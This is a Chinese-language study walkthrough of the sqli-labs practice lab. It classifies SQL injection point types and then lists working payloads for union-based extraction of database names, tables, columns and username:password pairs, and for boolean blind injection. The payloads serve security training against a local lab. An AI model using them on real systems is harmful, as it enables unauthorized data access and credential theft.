目录
前言
字符型注入
数字型注入
报错注入
布尔盲注
注入点类型分类
数字型:
select * from tabname where id = 1
字符型:
select * from tabname where id = '1’
搜索型:
select * from tabname where id like '%1%'
判断类型流程
输入 1
假设存在查询结果,但是此时无法区分注入点类型
输入 1 and 1 = 1
对于数字型注入点:
select * from tabname where id= 1 and 1 = 1,会有查询结果
对于字符型注入点:
select * from tabname where id= ‘1 and 1 = 1’,不会有查询结果
对于搜索型注入点:
select * from tabname where id like ‘%1 and 1 = 1%’,不会有查询结果
此步骤可以检测数字型注入点。
输入 1’ and ‘1’='1
对于字符型注入点:
select * from tabname where id= ‘1’ and ‘1’=‘1’,会有查询结果
对于搜索型注入点:
select * from tabname where id like ‘%1’ and ‘1’=‘1%’,不会有查询结果
此步骤可以检测字符型注入点。
排除掉数字型和字符型,剩下的可能就是搜索型注入点。
http://127.0.0.1/sqli-labs-master/Less-1/ #正常页面
?id=1
?id=1' #单引号报错 1 后边多了一个单引号
?id=1" #双引号正常
界面异常说明存在注入点 ?id=1'--+ # --+ 注释符号,注释掉后边的语句 ?id=1 and 1=2 #没有变化 说明是单引号字符型注入
order by 语句判断数据列数 ?id=1' order by4--+ #4报错说明只有三列
union select 联合查询语句 ?id=100' union select 1,2,3--+ #1,2是一个、1,2,3,4是三个、都报错 所以显示位是两位。
爆破数据库库 ?id=100' union select 1,2,group_concat(schema_name)from information_schema.schemata--+
查询数据库版本和名字 ?id=100'union select 1,version(),database()--+
查询表名 ?id=100' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security')--+
查询列 ?id=100' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name ='users') --+
查询用户 ?id=100'union select 1,2,group_concat(username) from security.users--+
查询用户密码 ?id=100' union select 1,2,group_concat(username,0x3a,password) from users --+
http://127.0.0.1/sqli-labs-master/Less-2/
?id=1
?id=1'
?id=1"
?id=1 and 1=1 #回显正确、数字型注入不需要闭合,字符型需要
?id=1 and 1=2 #报错、判断是数字型注入
?id=1 order by 4 #说明只有三列
?id=1 order by 3
#查询数据库版本 ?id=100 union select 1,version(),database() #相对于字符型 不需要闭合
#查询表名 ?id=100 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security')
#查询列 ?id=100 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name ='users')
#查询字段内容 ?id=100 union select 1,2,group_concat(username,0x3a,password) from users
单引号
http://127.0.0.1/sqli-labs-master/Less-3/
?id=1
?id=1' #报错里有一个括号
?id=1') order by 4 --+
?id=1') order by 3 --+
?id=100') union select 1,version(),database()--+ #查询数据库版本
双引号
?id=100") union select 1,version(),database()--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1
?id=1'
?id=1' order by 4--+
?id=1' order by 3--+
?id=1' and left ((select database()),1)='s'--+ #函数left,测试数据库名第一个字母是否为s,通过返回“you are in"我们知道是正确的
?id=1' and left((select database()),1)<'t'--+ #有回显说明小于t
?id=1' and left((select database()),1)>'t'--+ #没有回显也说明小于t #数据库第一个字符大于t无回显, 一点一点尝试,最终确定的库名为security
确定表名 ?id=1' and left ((select table_name from information_schema. tables where table_schema=database() limit 0,1),6)= 'emails'--+ #回显正确 说明 有emails这个表 #其他的步骤还是一样,修改limit x,1和left中的位数限定数字,第一张表是emails,爆破到第二张表为referer,终于在第四张表爆破到user表,名为users。
?id=1' and left ((select table_name from information_schema. tables where table_schema=database() limit 1,1),7)= 'referer'--+
?id=1' and left ((select table_name from information_schema. tables where table_schema=database() limit 3,1),5)= 'users'--+
确定列 确定第二列是users第三列是password ?id=1' and left((select table_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),8)='username'--+ #就很奇怪 刚开始不行 过了一会就又好了
?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 2,1),8)='password'--+
?id=1' and left((select password from users order by id limit 0,1),4)='dump'--+